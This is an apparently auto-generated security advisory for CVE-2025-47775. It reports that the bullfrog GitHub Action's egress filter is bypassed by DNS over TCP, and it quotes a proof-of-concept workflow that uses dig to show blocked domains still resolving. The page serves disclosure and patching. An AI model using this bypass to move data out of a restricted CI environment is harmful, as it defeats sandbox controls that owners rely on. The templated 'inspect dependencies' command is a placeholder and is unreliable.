CVE-2025-47775: Bullfrogsec/bullfrog Bullfrog's DNS Over TCP Bypasses Vulnerability

MODERATE
Advisory Identifier: GHSA-m32f-fjw2-37v3
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CVSS 6.2
CWE-201
Published
Advisory Summary

CVE-2025-47775 is a MODERATE (CVSS 6.2) bullfrog's dns over tcp bypasses vulnerability (CWE-201: Insertion of Sensitive Information Into Sent Data) affecting Bullfrogsec/bullfrog libraries in the GitHub Actions ecosystem. The issue involves bullfrog's dns over tcp bypasses domain filtering. Remediation is available by upgrading affected packages to version 0.8.4.

CVE-2025-47775 at a Glance

CVE Identifier CVE-2025-47775
GHSA Identifier GHSA-m32f-fjw2-37v3
Severity MODERATE
CVSS v3.1 Base Score 6.2
CWE Classification CWE-201: Insertion of Sensitive Information Into Sent Data
Affected Product Bullfrogsec/bullfrog
Package Ecosystem GitHub Actions
Published Date
Last Updated

Security Impact

CVSS: 6.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2025-47775

To remediate this vulnerability, upgrade all affected Bullfrogsec/bullfrog dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

bullfrogsec/bullfrog fixed: 0.8.4 
Upgrade bullfrogsec/bullfrog to 0.8.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for bullfrogsec/bullfrog

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-47775, inspect your project dependencies for Bullfrogsec/bullfrog:

inspect dependencies for bullfrogsec/bullfrog

Analyze the terminal output to locate any version of Bullfrogsec/bullfrog in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-201: Insertion of Sensitive Information Into Sent Data, where the code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor. In Bullfrogsec/bullfrog, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Using tcp breaks blocking and allows DNS exfiltration. ### PoC ``` name: test on: push: branches: - "*" jobs: testBullFrog: runs-on: ubuntu-22.04 steps: - name: Use google dns run: | sudo resolvectl dns eth0 1.1.1.1 resolvectl status - name: Set up bullfrog to block everything uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2 with: egress-policy: block allowed-domains: | *.github.com - name: Test connectivity run: | echo testing udp allowed .. dig api.github.com @1.1.1.1 || : echo testing tcp allowed .. dig api.github.com @1.1.1.1 +tcp || : echo testing udp not allowed dig api.google.com @1.1.1.1 || : echo testing tcp not allowed dig api.google.com @1.1.1.1 +tcp || : ``` ### Impact sandbox bypass ![image](https://github.com/user-attachments/assets/fba18a17-2d49-48cd-9aae-713e95b5270d)

CVE-2025-47775 Affected Bullfrogsec/bullfrog Versions

1 component(s)
Fixed Versions:
0.8.4
Product / Package Ecosystem Affected Versions Fixed Version
bullfrogsec/bullfrog
 GitHub Actions
< 0.8.4
0.8.4

References

GitHub Advisory / Wiki ADVISORY
https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3
NVD — CVE-2025-47775 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-47775
Security Fix Commit FIX COMMIT
https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671
Bullfrogsec/bullfrog Source Repository REPOSITORY
https://github.com/bullfrogsec/bullfrog
Bullfrogsec/bullfrog Release RELEASE
https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4

Frequently Asked Questions

What is CVE-2025-47775?
CVE-2025-47775 is a security vulnerability in Bullfrogsec/bullfrog involving Bullfrog's DNS over TCP bypasses domain filtering under CWE-201: Insertion of Sensitive Information Into Sent Data.
Which Bullfrogsec/bullfrog versions are affected?
Affected versions include releases prior to 0.8.4 across affected packages: bullfrogsec/bullfrog.
What version fixes CVE-2025-47775?
Upgrading to 0.8.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is bullfrogsec/bullfrog affected?
Yes, bullfrogsec/bullfrog is affected in releases prior to 0.8.4. Upgrade your dependency to 0.8.4 or later.
What is the CVSS score of CVE-2025-47775?
CVE-2025-47775 has a CVSS v3.1 base score of 6.2 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2025-47775?
CVE-2025-47775 is classified under CWE-201: Insertion of Sensitive Information Into Sent Data (The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.).
How can I check GitHub Actions dependencies for CVE-2025-47775?
Run the dependency tree command: 'inspect dependencies for bullfrogsec/bullfrog'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m32f-fjw2-37v3",
  "modified" : "2025-05-15T17:23:04Z",
  "published" : "2025-05-15T17:23:04Z",
  "aliases" : [ "CVE-2025-47775" ],
  "summary" : "Bullfrog's DNS over TCP bypasses domain filtering",
  "details" : "### Summary\n\nUsing tcp breaks blocking and allows DNS exfiltration. \n\n### PoC\n\n```\nname: test\non:\n  push:\n    branches:\n      - \"*\"\n\njobs:\n  testBullFrog:\n    runs-on: ubuntu-22.04\n    steps:\n      - name: Use google dns\n        run: |\n          sudo resolvectl dns eth0 1.1.1.1\n          resolvectl status\n      - name: Set up bullfrog to block everything\n        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2\n        with:\n           egress-policy: block\n           allowed-domains: |\n             *.github.com\n      - name: Test connectivity\n        run: |\n          echo testing udp allowed ..\n          dig api.github.com @1.1.1.1 || :\n          echo testing tcp allowed ..\n          dig api.github.com @1.1.1.1 +tcp || :\n\n          echo testing udp not allowed\n          dig api.google.com @1.1.1.1 || :\n          echo testing tcp not allowed\n          dig api.google.com @1.1.1.1 +tcp || :\n```\n\n### Impact\n\nsandbox bypass\n\n![image](https://github.com/user-attachments/assets/fba18a17-2d49-48cd-9aae-713e95b5270d)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "GitHub Actions",
      "name" : "bullfrogsec/bullfrog"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-47775"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/bullfrogsec/bullfrog"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-201" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-05-15T17:23:04Z",
    "nvd_published_at" : "2025-05-14T16:15:28Z"
  }
}